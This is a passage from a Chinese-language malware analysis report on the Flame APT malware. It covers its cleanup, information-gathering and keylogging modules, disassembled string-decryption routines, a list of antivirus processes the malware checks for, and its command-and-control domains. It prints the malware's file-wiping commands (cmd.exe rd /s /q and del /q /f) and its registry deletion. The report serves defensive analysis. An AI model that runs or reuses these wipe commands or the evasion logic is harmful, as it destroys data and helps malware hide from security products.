00152EA8 45 00 53 00 2E 00 66 00 72 00 65 00 65 00 62 62 E.S...f.r.e.e.bb
00152EB8 91 78 FF FF 憍
整理后得到的明文字符串列表如下:
EAR_WINDOWDESKTOP_SAMPLE_RATE
EAR_WINDOWWINDOW_SAMPLE_RATE
EAR_WINDOWNOT_INTERESTING_PRCESSES_INTERVALD
EAR_WINDOWINTERESTING_PROCESSESsize
EAR_WINDOWINTERESTING_PROCESSESfirst
EAR_WINDOWINTERESTING_PROCESSESlast
EAR_WINDOWINTERESTING_PROCESSESfree
EAR_WINDOWINTERESTING_TITLESsize
EAR_WINDOWINTERESTING_TITLESfirst
EAR_WINDOWINTERESTING_TITLESlast
EAR_WINDOWINTERESTING_TITLESfree
3.8 Browse32.ocx模块分析
Browse32.ocx是“火焰”病毒运行后从远程服务器下载的模块,我们通过对此模块的分析了解到,此模块是用来删除恶意软件所有痕迹,防止取证分析。Browse32.ocx运行后会把恶意软件创建的所有文件写入垃圾字符覆盖,然后在删除这些文件,以防止任何人获得感染有关的信息的磁盘。
获取文件属性,文件列表参见附录五(详见附录五:Browse32.ocx模块遍历计算机系统中是否有如下文件列表),然后设置文件属性为Normal,获取文件大小,如果不为空,则根据文件大小,写入同样字节数的垃圾数据覆盖,然后在写入00数据覆盖(防止文件恢复)。
"C:\WINDOWS\system32\cmd.exe" /c rd /s /q "C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr"
"C:\WINDOWS\system32\cmd.exe" /c rd /s /q "C:\Program Files\Common Files\Microsoft Shared\MSAudio"
"C:\WINDOWS\system32\cmd.exe" /c rd /s /q "C:\Program Files\Common Files\Microsoft Shared\MSAuthCtrl""
"C:\WINDOWS\system32\cmd.exe" /c rd /s /q "C:\Program Files\Common Files\Microsoft Shared\MSSndMix""
"C:\WINDOWS\system32\cmd.exe" /c del /q /f
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\ssi*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\aud*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\tok*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\lrl*"
动态调用注册表相关函数
函数查看并删除注册表键值
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa:
Authentication Packages:”mssecmgr.ocx”
重复设置随机键值(A开头字母数字结合9位),并删除。
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation:
StandardSize:
文件中发现大量对如下算法的调用。
算法的运算方法如下:
M=(0xbh+N)*(N+0xbh+0xch)
注:N是要解密的字符距起始字符的距离。
AL=(M1)^(M2)^(M3)^(M4)
Decrypted data = Encrypted data – AL
解密时,用密文减去该密钥,即可得到明文。
图 3-36AL=(M1)^(M2)^(M3)^(M4)
解密数据代码:
该函数没有参数,数据的传递是通过寄存器edx和eax传递的两个隐参数。
0x1000C826 proc near
test edx, edx
push esi
mov esi, eax
jbe short 0x1000C860
push ebx
push edi
push 0Bh
pop edi
sub edi, esi
0x1000C834:
lea ecx, [edi+esi]
lea eax, [ecx+0Ch]
imul eax, ecx ; (0xbh+N)*(N+0xbh+0xch)
add eax, dword_10067168
mov ecx, eax
shr ecx, 18h
mov ebx, eax
shr ebx, 10h
xor cl, bl
mov ebx, eax
shr ebx, 8
xor cl, bl
xor cl, al
sub [esi], cl
inc esi
dec edx
jnz short 0x1000C834
pop edi
pop ebx
0x1000C860:
pop esi
retn
0x1000C826 endp
对该函数的调用有2个。
调用1代码如下:
0x1000C8A8 proc near
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, eax
push ebx
push eax
pop eax
pop ebx
pusha
popa
mov esi, [ebp+8]
cmp word ptr [esi+10h], 0
jnz short 0x1000C8C9
mov al, al
mov ah, ah
lea eax, [esi+14h]
jmp short 0x1000C8E9
0x1000C8C9:
movzx edx, word ptr [esi+12h]
lea ebx, [esi+14h]
mov eax, ebx
call 0x1000C826
and word ptr [esi+10h], 0
cmp eax, 0
jz short 0x1000C8E5
nop
mov edi, edi
nop
0x1000C8E5:
mov esi, esi
mov eax, ebx
0x1000C8E9:
pop edi
pop esi
pop ebx
pop ebp
retn
0x1000C8A8 endp
1000C8A8 函数被调用340次。
函数需要一个参数:
各个调用代码并无明显差异,随机取一处得到代码情况如下:
0x100010C6 push 0x10064C48
0x100010CB call 0x1000C8A8
从函数1000C8A8中可以发现压入的数据结构如下:
DWORD*4:unknow
|
WORD:sign
|
WORD:length:N
|
WORD*N: Encrypted data
|
??:unknow
|
调用2代码如下:
0x1000C862 proc near
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, eax
push ebx
push eax
pop eax
pop ebx
pusha
popa
mov ebx, [ebp+8]
cmp byte ptr [ebx+8], 0
jnz short 0x1000C882
mov al, al
mov ah, ah
lea eax, [ebx+0Bh]
jmp short 0x1000C8A3
0x1000C882:
movzx edx, word ptr [ebx+9]
lea eax, [ebx+0Bh]
mov [ebp+8], eax
call 0x1000C826
cmp eax, 0
jz short 0x1000C89A
nop
mov edi, edi
nop
0x1000C89A:
mov esi, esi
mov eax, [ebp+8]
mov byte ptr [ebx+8], 0
0x1000C8A3:
pop edi
pop esi
pop ebx
pop ebp
retn
0x1000C862 endp
函数1000C862被调用两次:
该函数需要一个参数:
各个调用代码并无明显差异,随机取一处得到代码如下:
0x1004046F push 0x1005C268
0x10040474 call 0x1000C862
从函数1000C862中可以发现压入的数据结构如下:
DWORD*2:unknow
|
BYTE:sign
|
WORD:length:N
|
WORD*N:Encrypted
data
|
??:unknow
|
3.9 Jimmy.dll模块分析
Jimmy.dll是“火焰”病毒运行后从146资源文件中释放出来的,我们通过对此模块的分析了解到,此模块的作用为收集用户计算机信息,包括窗体标题、注册表相关键值信息,计算机名,磁盘类型等。
文件中发现大量对如下算法的调用。
算法的运算方法如下:
M=(0xbh+N)*(N+0xbh+0x6h)+0x58h
注:N是要解密的字符距起始字符的距离。
解密时,用密文减去该密钥,即可得到明文。
AL=(M1)^(M2)^(M3)^(M4)
Decrypted data = Encrypted data – AL
图 3-37 AL=(M1)^(M2)^(M3)^(M4)
解密数据代码:
0x1000D9DC proc near
test edx, edx
push esi
mov esi, eax
jbe short 0x1000DA13
push ebx
push edi
push 0Bh
pop edi
sub edi, esi
0x1000D9EA:
lea ecx, [edi+esi]
lea eax, [ecx+6]
imul eax, ecx
add eax, 58h
mov ecx, eax
shr ecx, 18h
mov ebx, eax
shr ebx, 10h
xor cl, bl
mov ebx, eax
shr ebx, 8
xor cl, bl
xor cl, al
sub [esi], cl
inc esi
dec edx
jnz short 0x1000D9EA
pop edi
pop ebx
0x1000DA13:
pop esi
retn
0x1000D9DC endp
0x1000D9DC函数被调用两次,调用位置如下:
第一处调用:
0x10016610 proc near
cmp word ptr [esi+10h], 0
jnz short 0x1001661B
lea eax, [esi+14h]
retn
0x1001661B:
movzx edx, word ptr [esi+12h]
push edi
lea edi, [esi+14h]
mov eax, edi
call 0x1000D9DC
and word ptr [esi+10h], 0
mov eax, edi
pop edi
retn
0x10016610 endp
0x10016610函数被调用113次:
函数需要参数如下:
DWORD*4: unknow
|
WORD:sign
|
WORD:length:
N
|
WORD*N:Encrypted
data
|
??:unknow
|
第二处调用:
0x1001A0EF proc near
movzx edx, word ptr [esi+9]
push edi
lea edi, [esi+0Bh]
mov eax, edi
call 0x1000D9DC
mov eax, edi
mov byte ptr [esi+8], 0
pop edi
retn
0x1001A0EF endp
0x1001A0EF函数被调用4次:
函数需要参数如下:
DWORD*2:unknow
|
BYTE:sign
|
WORD:length:N
|
WORD*N:
Encrypted data
|
??:unknow
|
3.10 Comspol32.ocx模块分析
Comspol32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块的作用为键盘记录和截取屏幕信息。监控URL中包含的一些字符串进行收集敏感信息。和模块Nteps32.ocx基本相同,只有释放的一些文件有变化。
释放如下临时文件
以上临时文件对应着其不同的功能记录文件并做加密处理。例如:键盘记录、截屏信息等。
查看系统注册表中是否有KasperskyLab项判断多个版本
HKLM\SOFTWARE\KasperskyLab
HKLM\SOFTWARE\KasperskyLab\AVP6
HKLM\SOFTWARE\KasperskyLab\protected\AVP7
该模块包含域名字符串列表信息,当网站地址包含以下字符串时用来监视等操作。
用来收集敏感信息,例如登录凭证、Web表单输入数据、cookie数据等。
模块还包含一个用于监测网络安全进程的列表,此列表数量在130左右个进程,都是国外一些防火墙产品、反病毒产品和一些安全产品等。和模块Nteps32.cox列表相同可详见附录四(附录四:Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过。)
该模块有键盘记录功能和截取屏幕功能主要使用的函数如下:
文件中发现大量对如下算法的调用。
算法的运算方法如下:
M=(0xbh+N)*(N+0xbh+0x6h)
注:N是要解密的字符距起始字符的距离。
AL=(M1)^(M2)^(M3)^(M4)
解密时,用密文减去该密钥,即可得到明文。
该函数没有明参数,数据的传递是通过寄存器edx和eax传递的两个隐参数。
对该函数的调用有2个。
函数sub_10016610被调用306次
各个调用代码并无明显差异,随机取一处得到代码情况如下:
10001C5C push offset unk_1008A250
.10001C61 call sub_1000A877
从函数sub_10016610中可以发现压入的数据结构如下:
DWORD*4:未知
|
WORD:解密标志
|
WORD:解密长度N
|
WORD*N:密文数据
|
??:未知
|
函数sub_1001A0EF被主程序调用5次。
调用代码并无明显差异,随机取一处得到代码如下:
1002C197 push offset unk_10087CAC
1002C19C call sub_1000A84C
从函数sub_10016610中可以发现压入的数据结构如下:
DWORD*2:未知
|
BYTE:解密标志
|
WORD:解密长度N
|
WORD*N:密文数据
|
??:未知
|
注:
%System32%是一个可变路径.病毒通过查询操作系统来决定当前System文件夹的位置.
%Windir% WINDODWS所在目录
%DriveLetter% 逻辑驱动器根目录
%ProgramFiles% 系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% \Documents and Settings\当前用户\Local Setti ngs\Temp
%System32% 系统的 System32文件夹
总结与展望
从近几年来包括Stuxnet,Duqu和Flame在内的恶意代码攻击事件中,我们可以清晰地看到,攻击者已经不再仅仅通过恶意代码的快速大范围传播获得技术成就感或者获得经济利益。当前的新趋势非常明显,恶意代码正成为APT攻击中最重要的一个因素。
这些被用于APT攻击的恶意代码具有这些特点:
1. 目的极其明确。攻击者不再追求恶意代码感染主机数,转而追求如何精准地命中特定目标,并有意识地避免其在非目标主机上存活,以延迟被发现的时间。
2. 隐蔽性强,存活能力高。这些恶意代码会采用多种内核技术隐藏自身,采用有效的C&C通信方式来保证长期接受指令,采用数字证书避免被检测等。因此,Flame做到了攻击两年后才被发现。
3. 代码复杂。此前的恶意代码家族,多为单一功能、类似实现,其变种大量采用自动生成的方式,其开发作为地下产业链的最上游环节,追求高效率实现。而此类恶意代码则通常由专门团队开发,不再追求批量生产,加之功能复杂多变,往往结构极其复杂。这给对其是否恶意的判定带来了不少困难。
4. 大量利用零日漏洞。包括用于外网渗透、内网传播、最终攻击,这些恶意代码往往大量地利用各类零日漏洞,因此常规的系统安全保障方法受到挑战。
5. 多平台性。这些恶意代码的运行环境既有MS-Office、Adobe Flash Player等文档软件,又有WinCC等工控系统环境,还包括Mac OS系统、Java平台等非主流环境。当攻击者不再以广泛传播为目的,恶意代码可能运行的环境就具有了无限的可能。
6. 攻击过程有序。从搜集资料,开发特定攻击代码,挖掘或购买漏洞,到渗透攻击,内网传播,远程控制等。攻击者有这样的耐心去一步步完成,实现一种让人叹为观止的攻击。
在这些特点下,无论是传统的反病毒体系(包括反病毒厂商的后台流水处理体系和部署到用户的软硬件结合检测处置体系),还是传统的安全模型与安全实践,均将遭受严峻地挑战。比如,由于攻击的针对性,传统的恶意代码样本捕获体系难以奏效,实施上,这些被用于APT的恶意代码,最后往往是由用户上报至反病毒厂商;还由于攻击的针对性,样本自动化分析和判定系统也面临失效的可能,无论是环境模拟还是行为触发,都难以实现完全的自动化;对多种环境的零日漏洞分析、漏洞修复也需要各方的积极配合。
此外,在此类恶意代码出现之前,反病毒厂商将各类资源集中在如何保护更多用户不被恶意代码攻击上,即专注于一般性恶意代码。这些资源既包括软硬件设施和后台系统,又包括对恶意代码的分析能力积累和技术知识储备。而当此类具有APT特点的恶意代码出现时,反病毒厂商难以再像以往那样做出快速的反应。例如,Kaspersky实验室对Stuxnet和Duqu的分析,就前后进行了几个月的时间。在这个问题上,攻击者可以从容不迫地花数年的时间熟悉和了解特定领域的知识,并展开攻击;而对反病毒厂商来说,与攻击者的差距在将来也许依然存在。
即便从非技术的角度,在此类攻击中,安全厂商与用户也处于不利的地位。我们无从知道下一个目标会是谁,也不知道攻击目的是什么。事实上,面对这种由专门的、专业的团队,花费了多年时间和大笔金钱而展开的单点攻击,这种情况已经使我们陷入泥潭。
在这种困境下,我们需要做的绝不仅仅是被动地发现、分析、检测并防御这些攻击。整个产业界有必要主动出击,展开基础研究、演练攻防实况、建立新的模型和方法、细粒度了解用户、形成新的有实效性的解决方案等等。而有效的防御体系,同样需要包括系统供应商、软件开发商、硬件制造商的支持与配合,需要所有信息系统使用者共同提高安全意识并付诸实践。攻击者永远会去挑战薄弱的环节,面对这些未知的、看起来强大的威胁,唯有主动、协作,才能让我们更有信心。
5 附表
附表一
表 5-1为Mssecmgr.ocx文件中的遍历安全进程列表,其列表和其它模块中的一些遍历进程列表中一些进程是相同的。
进程名称
|
说明
|
TSAnSrf.exe
|
Omniquad
Anonymous Surfing安全套件相关进程。
|
xauth_service.exe
|
不详。
|
fwsrv.exe
|
Jetico
Personal Firewall 进程 一款全面而又简单易用的个人网络防火墙。
|
kavmm.exe
|
Kaspersky
Anti-Virus Personal Pro 5 进程。
|
acs.exe
|
outpost防火墙的正常进程。
|
frzstate2k.exe
|
冰点还原软件的进程。
|
Fsguiexe.exe
|
F-Secure反病毒软件相关程序。
|
Nvoy.exe
|
Norman AntiVirus杀毒软件相关进程。
|
SCANWSCS.exe
|
Quick Heal Technologies公司QuickHeal反病毒软。
|
zerospyware
lite_installer.exe
|
ZeroSpyware相关组件进程 一款个人隐私防护软件。
|
ICMON.exe
|
Sophos
AntiVirus防毒检测的活动监视器进程。
|
fsdfwd.exe
|
F-Secure
Anti-Virus相关组件进程。
|
fsrt.exe
|
Fortres
Security进程。
|
Fsm32.exe
|
是F-Secure反病毒软件的一部分。
|
bdmcon.exe
|
SoftWin公司出品的BitDefender反病毒产品的一部分。
|
sab_wab.exe
|
SUPERAntiSpyware相关组件进程。
|
TScutyNT.exe
|
Omniquad
Ltd公司产品有关进程 。
|
blackd.exe
|
BlackICE计算机防火墙的一部分。
|
VSDesktop.exe
|
Virtual
Sandbox 2.0 Build 209子进程。
|
DCSUserProt.exe
|
DiamondCS
ProcessGuard进程 一款系统安全程序。
|
authfw.exe
|
Authentium
Firewall进程。
|
app_firewall.exe
|
NetScaler
App Firewall进程。
|
lpfw.exe
|
Lavasoft
Personal Firewall进程。
|
FCH32.exe
|
F-Secure
Anti-Virus进程。
|
ccEvtMgr.exe
|
Norton
Internet Security网络安全套装的一部分。
|
xfilter.exe
|
费尔防火墙的相关进程。
|
Fsbwsys.exe
|
F-secure反病毒软件的相关程序。
|
jpf.exe
|
JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
|
TSAtiSy.exe
|
Omniquad
AntiSpy软件进程。
|
Fsgk32.exe
|
F-Secure反病毒软件相关程序。。
|
fxsrv.exe
|
不详。
|
swupdate.exe
|
Sophos
AntiVirus进程。
|
almon.exe
|
Sophos
AutoUpdate产品的一个进程。
|
EMLPROXY.exe
|
Quick
Heal AntiVirus进程 一款印度的著名安全软件。
|
UmxTray.exe
|
TinyFirewall相关进程。TinySoftware出品的一款网络防火墙软件。
|
NetMon.exe
|
是NetworkMonitor一款用于管理和监测网络状况的软件进程。
|
Firewall
2004.exe
|
WyvernWorks
Firewall 2004软件进程。
|
pgaccount.exe
|
是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
|
EMLPROUI.exe
|
Quick
Heal AntiVirus进程。
|
xcommsvr.exe
|
BitDefender反病毒产品相关程序。
|
TMBMSRV.exe
|
TMBMSRV.exe是趋势Trend
Micro出品的PC-cillin反病毒软件的一部分。
|
umxcfg.exe
|
TinyFirewall相关进程。TinySoftware出品的一款网络防火墙软件。
|
Kpf4gui.exe
|
是Kerio个人防火墙相关进程。
|
SpyHunter3.exe
|
SpyHunter反间谍软件进程。
|
NVCSCHED.exe
|
NVCSched.exe是Norman病毒控制台计划任务程序。
|
alsvc.exe
|
Sophos
AntiVirus安全产品中的一个进程。
|
avguard.exe
|
是AntiVir个人版网络安全套装的一部分。
|
Fssm32.exe
|
F-Secure反病毒软件相关程序,用于扫描病毒。
|
DFServEx.exe
|
Deep
Freeze5(冰点还原)的进程 。
|
live
help.exe
|
Windows32的应用程序相关进程。
|
DF5ServerService.exe
|
Deep
Freeze5(冰点还原)的进程 。
|
bdss.exe
|
是BitDefender反病毒软件的一部分。
|
sched.exe
|
NVCSched.exe是Norman病毒控制台计划任务程序。
|
jpfsrv.exe
|
JeticoPersonalFirewall的服务进程。
|
PXConsole.exe
|
Prevx
Home反间谍软件进程。
|
ONLINENT.exe
|
Quick
Heal Total安全产品相关进程。
|
SSUpdate.exe
|
SUPERAntiSpyware 间谍扫描软件进程。
|
SpywareTerminator.exe
|
Crawler杀毒软件相关进程。
|
ONLNSVC.exe
|
F-Secure反病毒软件相关程序。
|
mpsvc.exe
|
微点主动防御进程。
|
vsserv.exe
|
是Bull Guard网络安全套装和BitDefender反病毒软件相关程序。
|
cpf.exe
|
ComodoPersonalFirewall主程序。
|
UmxPol.exe
|
TinyFirewall相关进程。TinyFirewall是由。
|
RDTask.exe
|
虚拟光碟相关程序。虚拟光碟是一套集成的CD/DVD刻录和光碟机模拟的软件。
|
TmPfw.exe
|
tmpfw.exe是趋势公司网络安全软件的一部分。
|
ike.exe
|
FortiClient软件的SSL
VPN服务
|
DFAdmin6.exe
|
冰点还原精灵产品是的一个进程
|
asr.exe
|
Advanced_Spyware_Remover反间谍软件程序。
|
FWService.exe
|
PCToolsFirewallPlus的服务进程。
|
protect.exe
|
Safe'n'Sec 产品中的一个进程。
|
NJEEVES.exe
|
Norman反病毒产品的一部分。
|
TMAS_OEMon.exe
|
Trend
Micro Anti-Spam中的一个进程。
|
sp_rsser.exe
|
SpywareTerminator反间谍软件相关程序。
|
WSWEEPNT.exe
|
Sophos
Anti-Virus进程。
|
ipcsvc.exe
|
NetVeda
Safety.Net安全软件进程。
|
UmxAgent.exe
|
CA
Anti-Virus相关服务进程。
|
Umxlu.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
kav.exe
|
卡巴斯基Kaspersky Anti-Virus反病毒产品进程 。
|
MPF.exe
|
是McAfee网络安全套装软件相关进程,用于保护你的计算机免受网络蠕虫和病毒的威胁。
|
umxagent.exe
|
CA
Anti-Virus相关服务进程。
|
avp.exe
|
卡巴斯基Kaspersky Anti-Virus反病毒产品进程。
|
TSmpNT.exe
|
Omniquad
MyPrivacy软件进程。
|
fsgk32st.exe
|
F-Secure反病毒软件相关程序。
|
zlclient.exe
|
ZoneAlarm个人防火墙的客户端程序。
|
R-Firewall.exe
|
R-Firewall个人防火墙进程。
|
sww.exe
|
不详。
|
umxtray.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
ccApp.exe
|
是Norton AntiVirus 2003反病毒软件的一部分。它能够自动保护你的计算机安全。
|
avpm.exe
|
卡巴斯基Kaspersky公司出品的反病毒套装的一部分。
|
smc.exe
|
是Norton AntiVirus 反病毒软件的一部分。它能够自动保护你的计算机安全。
|
PF6.exe
|
Privatefirewall相关进程。
|
ipcTray.exe
|
NetVeda
Safety.Net安全软件进程。
|
fsaua.exe
|
该进程属于F-Secure公司的自动更新代理。
|
fsqh.exe
|
F-secure反病毒软件的隔离管理工具。
|
R-firewall.exe
|
R-Firewall个人防火墙进程。
|
pcipprev.exe
|
防火墙软件。
|
blackice.exe
|
BlackICE 是一款防火墙软件,blackice.exe为主要进程 。
|
ekrn.exe
|
是ESET Smart Security或ESET
NOD32 Antivirus反病毒软件相关程序。
|
configmgr.exe
|
IBM
Case Manager中进程。
|
ipatrol.exe
|
互联网安全联盟,安全软件。
|
savadminservice.exe
|
SophosAnti-Virus(SAV)是一款英国的防毒软件的一部分。
|
alupdate.exe
|
是系统正常运转、各种办公软件、游戏运行所不可或缺的重要文件。
|
Zanda.exe
|
Norman反病毒产品控制程序,同时是驻留精灵程序。
|
nstzerospywarelite.exe
|
反间谍软件的一部分。
|
AdoronsFirewall.exe
|
Adorons防火墙应用程序一部分。
|
vsmon.exe
|
ZoneAlarm个人防火墙的一部分。
|
snsmcon.exe
|
Safe'n'Sec®图形用户界面是从公司SNSafe与软件属于产品Safe'n'Sec
2009的进程文件。
|
vdtask.exe
|
一款虚拟光驱软件。
|
OEInject.exe
|
Omniquad
Total Security反病毒软件相关进程。
|
procguard.exe
|
with description
GUI Aspect of ProcessGuard is a process file from company DiamondCS belonging
to product DiamondCS ProcessGuard。
The
file is not digitally signed.。
|
UmxCfg.exe
|
TinyFirewall网络防火墙软件相关进程。
|
SpywareTerminatorShield.exe
|
pyware
Terminator进程 一款免费且易用的间谍软件清除软件。
|
fsgk32.exe
|
-Secure反病毒软件相关程序。
|
mpfcm.exe
|
不详。
|
SWNETSUP.exe
|
Sophos
Anti-Virus反病毒与网络支持服务应用程序相关的进程。
|
UfSeAgnt.exe
|
是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
|
fsguidll.exe
|
一款功能强大的实时病毒监测和防护系统。
|
clamd.exe
|
杀毒软件Clam AV的相关进程。
|
PXAgent.exe
|
是Prevx Home 安全软件的相关部分。
|
snsupd.exe
|
此文件属于产品SysWatch®企业和是由公司©SNSafe软件开发。 此文件描述SysWatch®客户端更新的一部分。
|
updclient.exe
|
ZoneAlarm公司安全软件升级相关程序。
|
tikl.exe
|
恶意键盘记录程序。
|
FirewallGUI.exe
|
一款防火墙个相关程序 。
|
ZeroSpyware
Lite.exe
|
zerospyware反间谍进程。
|
RTT_CRC_Service.exe
|
R-Firewall防火墙的一部分。
|
SfCtlCom.exe
|
是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
|
FrzState.exe
|
冰点还原产品中的一个进程。
|
avgnt.exe
|
是H+BEDV反病毒产品的一部分,用于扫描你系统的安全问题。
|
cmdagent.exe
|
Comodo防火墙进程,能帮助您侦测和清除病毒,它还有Vshield自动监视系统, 会常驻在系统托盘,当您从磁盘、网络上、E-mail夹文件中开启文件时便会自动 侦测文件的安全性,若文件内含病毒,便会立即警告,并作适当的处理,而且支持 鼠标右键的快速选单功能,并可使用密码将个人的设定锁住让别人无法乱改您的设定。
|
sppfw.exe
|
GmbH公司Securepoint软件程序。防火墙类相关软件进程。
|
cdinstx.exe
|
杀毒软件anti-spyware进程。
|
aupdrun.exe
|
是Agnitum Outpost Firewall 防火墙自动升级程序。
|
omnitray.exe
|
Genetec
Omnicast公司的Network DVR Server进程。
|
Kpf4ss.exe
|
Kerio个人防火墙的Windows进程的一部分。
|
gateway.exe
|
WindUpdates的广告计划的一个进程。
|
FSMA32.exe
|
F-Secure反病毒软件的一部分。
|
SavService.exe
|
是Sophos Anti-Virus Module软件相关进程。
|
BootSafe.exe
|
能够快速重启进入安全模式的小程序。
|
fspc.exe
|
F-Secure的互联网安全套件进程。
|
AntiHook.exe
|
AntiHook控制中心进程。
|
dfw.exe
|
Signs防火墙进程。
|
FSM32.exe
|
是F-Secure反病毒软件的一部分。
|
Netguard
Lite.exe
|
ZeroSpyware间碟软件中的一部分。
|
pfsvc.exe
|
Privacyware创建一个Windows文件,防火墙相关软件。
|
op_mon.exe
|
OutpostFirewall防火墙的实时监控程序。
|
zerospyware
le.exe
|
ZeroSpyware个人隐私防护软件相关进程。
|
DF5SERV.exe
|
冰点还原产品中的一部分。
|
TmProxy.exe
|
是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
|
safensec.exe
|
Safe'n'Sec 产品中的一个进程。
|
FSMB32.exe
|
F-Secure反病毒软件的一部分。
|
Tray.exe
|
NetVeda
Safety.Net安全软件进程。
|
umxfwhlp.exe
|
TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
|
nvcoas.exe
|
Norman
Virus进程。
|
FAMEH32.exe
|
F-Secure
Anti-Virus进程。
|
tinykl.exe
|
很好用的微小的键盘纪录工具。
|
ccSetMgr.exe
|
Symantec公司网络安全套装的一部分。
|
SUPERAntiSpyware.exe
|
是SUPERAntiSpyware反间谍软件的相关部分。
|
fsav32.exe
|
F-Secure
Anti-Virus进程。
|
outpost.exe
|
是Outpost Personal Firewall个人防火墙相关程序。
|
UmxFwHlp.exe
|
是由TinySoftware出品的一款网络防火墙软件。
|
Fspex.exe
|
F-Secure
Anti-Virus相关服务进程。
|
bdagent.exe
|
BitDefenderProfessional杀毒软件相关程序。
|
wwasher.exe
|
Webwasher安全产品的相关进程。
|
VCATCH.exe
|
属于产品VCatch 2003的CommonSearch的相关进程。
|
spfirewallsvc.exe
|
SecurePoint公司防火墙驱动程序进程。
|
cdas17.exe
|
CyberDefender
AntiSpyware 反间谍软件相关进程。
|
dvpapi.exe
|
Authentium
Antivirus的相关进程。
|
fssm32.exe
|
F-Secure反病毒软件相关程序,用于扫描病毒。
|
livesrv.exe
|
是BitDefenderProfessional杀毒软件在线升级程序。
|
Fsav32.exe
|
F-Secure反病毒软件相关进程。
|
附表二
表 5-2连接所有域名列表
adhotspot.biz
admin-on.biz
autosync.info
bannerspot.in
bannerzone.in
bestcopytoday.com
bytewiser.com
chchengine.com
chchengine.net
dailynewsupdater.com
dbdrivers.biz
diznet.biz
dnslocation.info
dnsmask.info
dnsportal.info
dnsupdate.info
dvmdownload.net
eventshosting.com
fastestever.net
fastinfo.biz
flashp.webhop.net
flashupdates.info
flushdns.info
isyncautomation.in
isyncautoupdater.in
liveservice.biz
living-help.com
localconf.com
localgateway.info
micromedia.in
mysync.info
netproof.info
|
netsharepoint.info
network-acs.biz
networkupdate.net
newsflashsite.com
newstatisticfeeder.com
newsync.info
nvidiadrivers.info
nvidiasoft.info
nvidiastream.info
pingserver.info
processrep.com
profcenter.biz
quick-net.info
rendercodec.info
rsscenter.webhop.info
sec-enhanced.org
serveflash.info
serverss.info
smart-access.net
smartservicesite.info
specthosting.biz
syncdomain.info
synclock.info
syncprovider.info
syncsource.info
syncstream.info
syncupdate.info
traffic-spot.biz
traffic-spot.com
ultrasoft.in
update-ver.biz
videosync.info
|
附表三
表 5-3 Advnetcfg.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过.
进程名称
|
说明
|
fwsrv.exe
|
AVG
Firewall Service进程。
|
ssupdate.exe
|
UPERAntiSpyware 间谍扫描软件进程。
|
zerospyware
lite.exe
|
zerospyware反间谍进程。
|
dcsuserprot.exe
|
DiamondCS
ProcessGuard进程 一款系统安全程序。
|
spywareterminatorshield.exe
|
Spyware
Terminator进程 一款免费且易用的间谍软件清除软件。
|
zerospyware
lite_installer.exe
|
ZeroSpyware相关组件进程 一款个人隐私防护软件。
|
umxagent.exe
|
CA
Anti-Virus相关服务进程。
|
fsdfwd.exe
|
F-Secure
Anti-Virus相关组件进程。
|
fspex.exe
|
F-Secure
Anti-Virus相关服务进程。
|
sab_wab.exe
|
SUPERAntiSpyware相关组件进程。
|
blinkrm.exe
|
eEyt
Digital Security公司开发的产品进程。
|
pxconsole.exe
|
Prevx
Home反间谍软件进程。
|
jpfsrv.exe
|
JeticoPersonalFirewall的服务进程。
|
lpfw.exe
|
Lavasoft
Personal Firewall进程。
|
updclient.exe
|
ZoneAlarm公司安全软件升级相关进程。
|
fameh32.exe
|
F-Secure
Anti-Virus进程。
|
blinksvc.exe
|
eEye
Digital Security相关组件进程。
|
spyhunter3.exe
|
SpyHunter反间谍软件进程。
|
swupdate.exe
|
Sophos
AntiVirus进程。
|
nvcoas.exe
|
Norman
Virus进程。
|
fch32.exe
|
F-Secure
Anti-Virus进程。
|
pgaccount.exe
|
是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
|
blink.exe
|
eEyt数字安全公司开发的产品进程。
|
umxcfg.exe
|
TinyFirewall网络防火墙软件相关进程。TinyFirewall是TinySoftware出品的一款网络防火墙软件。
|
zlh.exe
|
是Norman反病毒网络安全套装控制程序。
|
fsm32.exe
|
F-Secure反病毒软件相关程序,用于管理对病毒扫描的计划任务。
|
live
help.exe
|
Windows32的应用程序相关进程。
|
vcatch.exe
|
属于产品VCatch 2003的CommonSearch的相关进程。
|
icmon.exe
|
Sophos
AntiVirus防毒检测的活动监视器进程。
|
netguard
lite.exe
|
ZeroSpyware间碟软件中的一部分。
|
cpf.exe
|
ComodoPersonalFirewall主程序。
|
nip.exe
|
是Norman反病毒软件控制台程序。它用于实时扫描监控POP3、SMTP和NNTP协议病毒。
|
asr.exe
|
Advanced_Spyware_Remover反间谍软件程序。
|
nvcsched.exe
|
NVCSched.exe是Norman病毒控制台计划任务程序,用于进行计划扫描任务。
|
ipctray.exe
|
NetVeda
Safety.Net安全软件进程。
|
sp_rsser.exe
|
SpywareTerminator反间谍软件相关程序。
|
firewall
2004.exe
|
WyvernWorks
Firewall 2004软件进程。
|
kpf4gui.exe
|
是Kerio个人防火墙相关进程。
|
ipcsvc.exe
|
NetVeda
Safety.Net安全软件进程。
|
sppfw.exe
|
